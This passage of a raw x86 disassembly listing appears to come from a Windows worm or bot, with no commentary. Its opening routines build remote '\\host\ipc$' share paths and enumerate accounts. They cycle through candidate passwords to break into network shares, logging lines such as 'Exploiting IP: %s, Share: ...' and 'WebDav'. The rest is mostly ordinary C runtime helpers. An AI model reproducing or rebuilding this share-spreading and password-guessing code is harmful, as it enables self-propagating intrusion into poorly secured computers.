		jnz	short loc_4141E6
		mov	eax, offset aNoPassword	; "(no password)"


loc_4141E6:				; CODE XREF: sub_413FFD+1E2j
		push	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		push	[ebp+eax*4+var_20]
		mov	eax, [ebp+arg_138]
		push	[ebp+arg_8]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		push	offset aSExploitingI_1 ; "[%s]:	Exploiting IP: %s, Share: \\%s,	Us"...
		lea	eax, [ebp+var_4E8]
		push	200h
		push	eax
		call	sub_41483D
		add	esp, 20h
		cmp	[ebp+arg_144], ebx
		jnz	short loc_414244
		push	ebx
		push	[ebp+arg_140]
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+arg_A4]
		push	eax
		push	[ebp+arg_C]
		call	sub_4056FB
		add	esp, 14h


loc_414244:				; CODE XREF: sub_413FFD+225j
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_401EFF
		mov	eax, [ebp+arg_138]
		imul	eax, 3Ch
		lea	eax, dword_42B070[eax]
		inc	dword ptr [eax]
		pop	ecx


loc_414262:				; CODE XREF: sub_413FFD+9Dj
					; sub_413FFD+A6j ...
		xor	ebx, ebx
		inc	ebx


loc_414265:				; CODE XREF: sub_413FFD+48j
					; sub_413FFD+163j
		push	1
		push	1
		push	[ebp+arg_8]
		call	dword_4357C4
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_413FFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_414279	proc near		; CODE XREF: .text:00414411p
					; .text:00414488p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		cmp	dword_42C0C8, 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_4142D5
		mov	eax, offset dword_42C0C8
		mov	ebx, eax


loc_41428C:				; CODE XREF: sub_414279+5Aj
		sub	esp, 140h
		push	50h
		pop	ecx
		mov	edi, esp
		push	[esp+14Ch+arg_4]
		lea	esi, [esp+150h+arg_8]
		push	dword ptr [eax]
		rep movsd
		push	[esp+154h+arg_0]
		call	sub_413FFD
		add	esp, 14Ch
		cmp	eax, 1
		jz	short loc_4142DB
		push	0C8h
		call	ds:dword_420000	; Sleep
		add	ebx, 4
		cmp	dword ptr [ebx], 0
		mov	eax, ebx
		jnz	short loc_41428C


loc_4142D5:				; CODE XREF: sub_414279+Aj
		xor	eax, eax


loc_4142D7:				; CODE XREF: sub_414279+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4142DB:				; CODE XREF: sub_414279+45j
		xor	eax, eax
		inc	eax
		jmp	short loc_4142D7
sub_414279	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 62Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+0Ch]
		push	eax
		xor	ebx, ebx
		lea	eax, [ebp-30h]
		push	offset aS_6	; "\\\\%s"
		push	eax
		mov	[ebp-4], ebx
		mov	[ebp-14h], ebx
		mov	[ebp-1Ch], ebx
		mov	[ebp-18h], ebx
		call	sub_4145E5
		add	esp, 0Ch
		push	3E8h
		lea	eax, [ebp-62Ch]
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp-30h]
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_4200D4	; MultiByteToWideChar
		lea	eax, [ebp-30h]
		push	eax
		lea	eax, [ebp-118h]
		push	offset aSIpc_0	; "%s\\ipc$"
		push	eax
		mov	[ebp-40h], ebx
		mov	[ebp-34h], ebx
		mov	[ebp-4Ch], ebx
		call	sub_4145E5
		add	esp, 0Ch
		lea	eax, [ebp-118h]
		mov	[ebp-3Ch], eax
		push	ebx
		mov	eax, 420AEAh
		push	eax
		push	eax
		lea	eax, [ebp-50h]
		push	eax
		call	dword_435888
		test	eax, eax
		jz	short loc_414380
		push	1
		push	ebx
		lea	eax, [ebp-118h]
		push	eax
		call	dword_4357C4
		xor	eax, eax
		jmp	loc_4144A8
; ---------------------------------------------------------------------------


loc_414380:				; CODE XREF: .text:00414367j
					; .text:00414448j
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp-4]
		push	eax
		push	2
		push	ebx
		lea	eax, [ebp-62Ch]
		push	eax
		call	dword_4357C8
		push	1
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-118h]
		push	eax
		call	dword_4357C4
		cmp	[ebp-0Ch], ebx
		jz	short loc_4143C3
		cmp	dword ptr [ebp-0Ch], 0EAh
		jnz	short loc_414430


loc_4143C3:				; CODE XREF: .text:004143B8j
		mov	eax, [ebp-4]
		cmp	eax, ebx
		mov	[ebp-10h], eax
		jz	short loc_414441
		cmp	[ebp-14h], ebx
		mov	[ebp-8], ebx
		jbe	short loc_414430


loc_4143D5:				; CODE XREF: .text:0041442Ej
		mov	eax, [ebp-10h]
		cmp	eax, ebx
		jz	short loc_414430
		push	ebx
		push	ebx
		push	12Ch
		lea	ecx, [ebp-244h]
		push	ecx
		push	0FFFFFFFFh
		push	dword ptr [eax]
		push	ebx
		push	ebx
		call	ds:dword_4200D8	; WideCharToMultiByte
		sub	esp, 140h
		push	50h
		pop	ecx
		mov	edi, esp
		lea	eax, [ebp-30h]
		push	eax
		lea	eax, [ebp-244h]
		lea	esi, [ebp+8]
		push	eax
		rep movsd
		call	sub_414279
		add	esp, 148h
		cmp	eax, 1
		jz	short loc_414430
		add	dword ptr [ebp-10h], 4
		inc	dword ptr [ebp-8]
		mov	eax, [ebp-8]
		cmp	eax, [ebp-14h]
		jb	short loc_4143D5


loc_414430:				; CODE XREF: .text:004143C1j
					; .text:004143D3j ...
		cmp	[ebp-4], ebx
		jz	short loc_414441
		push	dword ptr [ebp-4]
		call	dword_435820
		mov	[ebp-4], ebx


loc_414441:				; CODE XREF: .text:004143CBj
					; .text:00414433j
		cmp	dword ptr [ebp-0Ch], 0EAh
		jz	loc_414380
		cmp	[ebp-4], ebx
		jz	short loc_41445C
		push	dword ptr [ebp-4]
		call	dword_435820


loc_41445C:				; CODE XREF: .text:00414451j
		cmp	dword ptr [ebp-0Ch], 5
		jnz	short loc_4144A5
		cmp	off_42C078, ebx
		jz	short loc_4144A5
		mov	eax, offset off_42C078
		mov	[ebp-8], eax


loc_414472:				; CODE XREF: .text:004144A3j
		sub	esp, 140h
		push	50h
		pop	ecx
		mov	edi, esp
		lea	esi, [ebp+8]
		rep movsd
		lea	ecx, [ebp-30h]
		push	ecx
		push	dword ptr [eax]
		call	sub_414279
		add	esp, 148h
		cmp	eax, 1
		jz	short loc_4144A5
		mov	eax, [ebp-8]
		add	eax, 4
		cmp	[eax], ebx
		mov	[ebp-8], eax
		jnz	short loc_414472


loc_4144A5:				; CODE XREF: .text:00414460j
					; .text:00414468j ...
		xor	eax, eax
		inc	eax


loc_4144A8:				; CODE XREF: .text:0041437Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4144B0	proc near		; CODE XREF: sub_401000+5Cp
					; sub_401000+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_414574
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_4144DC


loc_4144CB:				; CODE XREF: sub_4144B0+2Aj
		mov	al, [edi]
		add	edi, 1
		test	al, al
		jz	short loc_41450D
		test	edi, 3
		jnz	short loc_4144CB


loc_4144DC:				; CODE XREF: sub_4144B0+19j
					; sub_4144B0+42j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_4144DC
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41451C
		test	ah, ah
		jz	short loc_414517
		test	eax, 0FF0000h
		jz	short loc_414512
		test	eax, 0FF000000h
		jnz	short loc_4144DC


loc_41450D:				; CODE XREF: sub_4144B0+22j
		sub	edi, 1
		jmp	short loc_41451F
; ---------------------------------------------------------------------------


loc_414512:				; CODE XREF: sub_4144B0+54j
		sub	edi, 2
		jmp	short loc_41451F
; ---------------------------------------------------------------------------


loc_414517:				; CODE XREF: sub_4144B0+4Dj
		sub	edi, 3
		jmp	short loc_41451F
; ---------------------------------------------------------------------------


loc_41451C:				; CODE XREF: sub_4144B0+49j
		sub	edi, 4


loc_41451F:				; CODE XREF: sub_4144B0+60j
					; sub_4144B0+65j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_414534
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41458E
		jmp	short loc_414556
; ---------------------------------------------------------------------------


loc_414534:				; CODE XREF: sub_4144B0+79j
					; sub_4144B0+9Dj
		mov	dl, [esi]
		add	esi, 1
		test	dl, dl
		jz	short loc_41457A
		mov	[edi], dl
		add	edi, 1
		sub	ecx, 1
		jz	short loc_414570
		test	esi, 3
		jnz	short loc_414534
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41458E


loc_414556:				; CODE XREF: sub_4144B0+82j
					; sub_4144B0+DCj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_414570


loc_41455D:				; CODE XREF: sub_4144B0+BEj
		mov	dl, [esi]
		add	esi, 1
		mov	[edi], dl
		add	edi, 1
		test	dl, dl
		jz	short loc_414572
		sub	ecx, 1
		jnz	short loc_41455D


loc_414570:				; CODE XREF: sub_4144B0+95j
					; sub_4144B0+ABj
		mov	[edi], cl


loc_414572:				; CODE XREF: sub_4144B0+B9j
		pop	ebx
		pop	esi


loc_414574:				; CODE XREF: sub_4144B0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41457A:				; CODE XREF: sub_4144B0+8Bj
					; sub_4144B0+FAj
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_414584:				; CODE XREF: sub_4144B0+F6j
					; sub_4144B0+10Ej
		mov	[edi], edx
		add	edi, 4
		sub	ecx, 1
		jz	short loc_414556


loc_41458E:				; CODE XREF: sub_4144B0+80j
					; sub_4144B0+A4j
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_414584
		test	dl, dl
		jz	short loc_41457A
		test	dh, dh
		jz	short loc_4145DA
		test	edx, 0FF0000h
		jz	short loc_4145CA
		test	edx, 0FF000000h
		jnz	short loc_414584
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4145CA:				; CODE XREF: sub_4144B0+106j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4145DA:				; CODE XREF: sub_4144B0+FEj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_4144B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4145E5	proc near		; CODE XREF: sub_401000+19p
					; sub_401000+48p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_1C], 7FFFFFFFh
		mov	[ebp+var_14], 42h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		call	sub_416662
		add	esp, 0Ch
		test	esi, esi
		mov	edi, eax
		jz	short loc_414637
		dec	[ebp+var_1C]
		js	short loc_41462A
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_414637
; ---------------------------------------------------------------------------


loc_41462A:				; CODE XREF: sub_4145E5+3Bj
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_4164BB
		pop	ecx
		pop	ecx


loc_414637:				; CODE XREF: sub_4145E5+36j
					; sub_4145E5+43j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4145E5	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414640	proc near		; CODE XREF: sub_401141+2CFp
					; sub_408A18+3F26p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		add	ecx, 1
		neg	ecx
		sub	edi, 1
		mov	al, [ebp+arg_4]
		std
		repne scasb
		add	edi, 1
		cmp	[edi], al
		jz	short loc_414667
		xor	eax, eax
		jmp	short loc_414669
; ---------------------------------------------------------------------------


loc_414667:				; CODE XREF: sub_414640+21j
		mov	eax, edi


loc_414669:				; CODE XREF: sub_414640+25j
		cld
		pop	edi
		leave
		retn
sub_414640	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_414670	proc near		; CODE XREF: sub_401141+6Ep
					; sub_401141+A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41470F
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41469C
		shr	ecx, 2
		jnz	loc_41471F
		jmp	short loc_4146C3
; ---------------------------------------------------------------------------


loc_41469C:				; CODE XREF: sub_414670+1Fj
					; sub_414670+45j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	short loc_4146D6
		test	al, al
		jz	short loc_4146DE
		test	esi, 3
		jnz	short loc_41469C
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41471F


loc_4146BE:				; CODE XREF: sub_414670+ADj
		and	ebx, 3
		jz	short loc_4146D6


loc_4146C3:				; CODE XREF: sub_414670+2Aj
					; sub_414670+64j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		test	al, al
		jz	short loc_414708
		sub	ebx, 1
		jnz	short loc_4146C3


loc_4146D6:				; CODE XREF: sub_414670+39j
					; sub_414670+51j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4146DE:				; CODE XREF: sub_414670+3Dj
		test	edi, 3
		jz	short loc_4146FC


loc_4146E6:				; CODE XREF: sub_414670+8Aj
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	loc_41478C
		test	edi, 3
		jnz	short loc_4146E6


loc_4146FC:				; CODE XREF: sub_414670+74j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_414777


loc_414703:				; CODE XREF: sub_414670+9Bj
					; sub_414670+116j
		mov	[edi], al
		add	edi, 1


loc_414708:				; CODE XREF: sub_414670+5Fj
		sub	ebx, 1
		jnz	short loc_414703
		pop	ebx
		pop	esi


loc_41470F:				; CODE XREF: sub_414670+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_414715:				; CODE XREF: sub_414670+C7j
					; sub_414670+DFj
		mov	[edi], edx
		add	edi, 4
		sub	ecx, 1
		jz	short loc_4146BE


loc_41471F:				; CODE XREF: sub_414670+24j
					; sub_414670+4Cj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_414715
		test	dl, dl
		jz	short loc_414769
		test	dh, dh
		jz	short loc_41475F
		test	edx, 0FF0000h
		jz	short loc_414755
		test	edx, 0FF000000h
		jnz	short loc_414715
		mov	[edi], edx
		jmp	short loc_41476D
; ---------------------------------------------------------------------------


loc_414755:				; CODE XREF: sub_414670+D7j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41476D
; ---------------------------------------------------------------------------


loc_41475F:				; CODE XREF: sub_414670+CFj
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41476D
; ---------------------------------------------------------------------------


loc_414769:				; CODE XREF: sub_414670+CBj
		xor	edx, edx
		mov	[edi], edx


loc_41476D:				; CODE XREF: sub_414670+E3j
					; sub_414670+EDj ...
		add	edi, 4
		xor	eax, eax
		sub	ecx, 1
		jz	short loc_414783


loc_414777:				; CODE XREF: sub_414670+91j
		xor	eax, eax


loc_414779:				; CODE XREF: sub_414670+111j
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 1
		jnz	short loc_414779


loc_414783:				; CODE XREF: sub_414670+105j
		and	ebx, 3
		jnz	loc_414703


loc_41478C:				; CODE XREF: sub_414670+7Ej
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_414670	endp


; =============== S U B	R O U T	I N E =======================================



sub_414794	proc near		; CODE XREF: sub_401967+39p
					; sub_40253C+2Ep ...

arg_0		= dword	ptr  4

		call	sub_416E15
		mov	ecx, [esp+arg_0]
		mov	[eax+14h], ecx
		retn
sub_414794	endp


; =============== S U B	R O U T	I N E =======================================



sub_4147A1	proc near		; CODE XREF: sub_4017F1+57p
					; sub_4017F1:loc_401854p ...
		call	sub_416E15
		mov	ecx, [eax+14h]
		imul	ecx, 343FDh
		add	ecx, 269EC3h
		mov	[eax+14h], ecx
		mov	eax, ecx
		shr	eax, 10h
		and	eax, 7FFFh
		retn
sub_4147A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4147C3	proc near		; CODE XREF: sub_4017F1+4Ap
					; sub_403C3B+23Cp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+var_14], 49h
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_4179C0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_416F0B
		add	esp, 10h
		leave
		retn
sub_4147C3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_414800	proc near		; CODE XREF: sub_4039C6+8p
					; sub_404AFC+Ap ...

arg_0		= byte ptr  4

		cmp	eax, 1000h
		jnb	short loc_414815
		neg	eax
		add	eax, esp
		add	eax, 4
		test	[eax], eax
		xchg	eax, esp
		mov	eax, [eax]
		push	eax
		retn
; ---------------------------------------------------------------------------


loc_414815:				; CODE XREF: sub_414800+5j
		push	ecx
		lea	ecx, [esp+4+arg_0]


loc_41481A:				; CODE XREF: sub_414800+2Cj
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41481A
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_414800	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41483D	proc near		; CODE XREF: sub_401E87+46p
					; sub_401EFF+67p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], eax
		push	edi
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_8]
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_14], 42h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		call	sub_416662
		add	esp, 0Ch
		test	esi, esi
		mov	edi, eax
		jz	short loc_41488E
		dec	[ebp+var_1C]
		js	short loc_414881
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41488E
; ---------------------------------------------------------------------------


loc_414881:				; CODE XREF: sub_41483D+3Aj
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_4164BB
		pop	ecx
		pop	ecx


loc_41488E:				; CODE XREF: sub_41483D+35j
					; sub_41483D+42j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_41483D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414894	proc near		; CODE XREF: sub_401F73+19p
					; sub_4056B0+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	[ebp+arg_C]
		mov	[ebp+var_1C], eax
		push	[ebp+arg_8]
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_14], 42h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		call	sub_416662
		add	esp, 0Ch
		test	esi, esi
		mov	edi, eax
		jz	short loc_4148E4
		dec	[ebp+var_1C]
		js	short loc_4148D7
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4148E4
; ---------------------------------------------------------------------------


loc_4148D7:				; CODE XREF: sub_414894+39j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_4164BB
		pop	ecx
		pop	ecx


loc_4148E4:				; CODE XREF: sub_414894+34j
					; sub_414894+41j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_414894	endp


; =============== S U B	R O U T	I N E =======================================



sub_4148EA	proc near		; CODE XREF: sub_414972j
					; sub_41DF57+36p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_416E15
		mov	edi, [eax+64h]
		cmp	edi, off_42D83C
		jz	short loc_414903
		call	sub_417C4E
		mov	edi, eax


loc_414903:				; CODE XREF: sub_4148EA+10j
		mov	esi, [esp+8+arg_0]


loc_414907:				; CODE XREF: sub_4148EA+43j
		cmp	dword ptr [edi+28h], 1
		movzx	eax, byte ptr [esi]
		jle	short loc_41491E
		push	8
		push	eax
		push	edi
		call	sub_417A4B
		add	esp, 0Ch
		jmp	short loc_414928
; ---------------------------------------------------------------------------


loc_41491E:				; CODE XREF: sub_4148EA+24j
		mov	ecx, [edi+48h]
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, 8


loc_414928:				; CODE XREF: sub_4148EA+32j
		test	eax, eax
		jz	short loc_41492F
		inc	esi
		jmp	short loc_414907
; ---------------------------------------------------------------------------


loc_41492F:				; CODE XREF: sub_4148EA+40j
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, 2Dh
		mov	edx, ecx
		jz	short loc_41493F
		cmp	ecx, 2Bh
		jnz	short loc_414943


loc_41493F:				; CODE XREF: sub_4148EA+4Ej
		movzx	ecx, byte ptr [esi]
		inc	esi


loc_414943:				; CODE XREF: sub_4148EA+53j
		xor	eax, eax


loc_414945:				; CODE XREF: sub_4148EA+7Cj
		cmp	ecx, 30h
		jl	short loc_414954
		cmp	ecx, 39h
		jg	short loc_414954
		sub	ecx, 30h
		jmp	short loc_414957
; ---------------------------------------------------------------------------


loc_414954:				; CODE XREF: sub_4148EA+5Ej
					; sub_4148EA+63j
		or	ecx, 0FFFFFFFFh


loc_414957:				; CODE XREF: sub_4148EA+68j
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_414968
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2]
		movzx	ecx, byte ptr [esi]
		inc	esi
		jmp	short loc_414945
; ---------------------------------------------------------------------------


loc_414968:				; CODE XREF: sub_4148EA+70j
		cmp	edx, 2Dh
		pop	edi
		pop	esi
		jnz	short locret_414971
		neg	eax

locret_414971:				; CODE XREF: sub_4148EA+83j
		retn
sub_4148EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_414972	proc near		; CODE XREF: sub_402011+63p
					; sub_4024E0+12p ...
		jmp	sub_4148EA
sub_414972	endp


; =============== S U B	R O U T	I N E =======================================



sub_414977	proc near		; CODE XREF: sub_4149C3+32p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		test	byte ptr [esi+0Ch], 83h
		jz	short loc_4149BA
		push	esi
		call	sub_417DD2
		push	esi
		mov	edi, eax
		call	sub_417DA7
		push	dword ptr [esi+10h]
		call	sub_417D0C
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_4149A8
		or	edi, 0FFFFFFFFh
		jmp	short loc_4149BA
; ---------------------------------------------------------------------------


loc_4149A8:				; CODE XREF: sub_414977+2Aj
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_4149BA
		push	eax
		call	sub_414A14
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_4149BA:				; CODE XREF: sub_414977+Dj
					; sub_414977+2Fj ...
		and	dword ptr [esi+0Ch], 0
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_414977	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4149C3	proc near		; CODE XREF: sub_403BA9+74p
					; sub_408A18+380Dp ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset stru_428D38
		call	__SEH_prolog
		or	[ebp+var_1C], 0FFFFFFFFh
		mov	esi, [ebp+arg_0]
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_4149E9
		and	dword ptr [esi+0Ch], 0


loc_4149E0:				; CODE XREF: sub_4149C3+44j
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
; ---------------------------------------------------------------------------


loc_4149E9:				; CODE XREF: sub_4149C3+17j
		push	esi
		call	sub_417FF8
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_414977
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_414A0C
		jmp	short loc_4149E0
sub_4149C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_414A09	proc near		; DATA XREF: .rdata:stru_428D38o
		mov	esi, [ebp+8]
sub_414A09	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414A0C	proc near		; CODE XREF: sub_4149C3+3Fp
		push	esi
		call	sub_41804A
		pop	ecx
		retn
sub_414A0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A14	proc near		; CODE XREF: sub_402E1B+74p
					; sub_40668C+CCp ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00414A70 SIZE 00000015 BYTES

		push	0Ch
		push	offset stru_428D48
		call	__SEH_prolog
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_414A7F
		cmp	dword_47C980, 3
		jnz	short loc_414A70
		push	4
		call	sub_418285
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_4182FE
		pop	ecx
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_414A53
		push	esi
		push	eax
		call	sub_418329
		pop	ecx
		pop	ecx


loc_414A53:				; CODE XREF: sub_414A14+34j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_414A67
		cmp	[ebp+var_1C], 0
		jnz	short loc_414A7F
		push	[ebp+arg_0]
		jmp	short loc_414A71
sub_414A14	endp


; =============== S U B	R O U T	I N E =======================================



sub_414A67	proc near		; CODE XREF: sub_414A14+43p
					; DATA XREF: .rdata:stru_428D48o
		push	4
		call	sub_4181F1
		pop	ecx
		retn
sub_414A67	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_414A14


loc_414A70:				; CODE XREF: sub_414A14+1Aj
		push	esi


loc_414A71:				; CODE XREF: sub_414A14+51j
		push	0
		push	dword_47C97C
		call	ds:dword_420058	; RtlFreeHeap


loc_414A7F:				; CODE XREF: sub_414A14+11j
					; sub_414A14+4Cj
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_414A14

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A85	proc near		; CODE XREF: sub_414B6E+25p

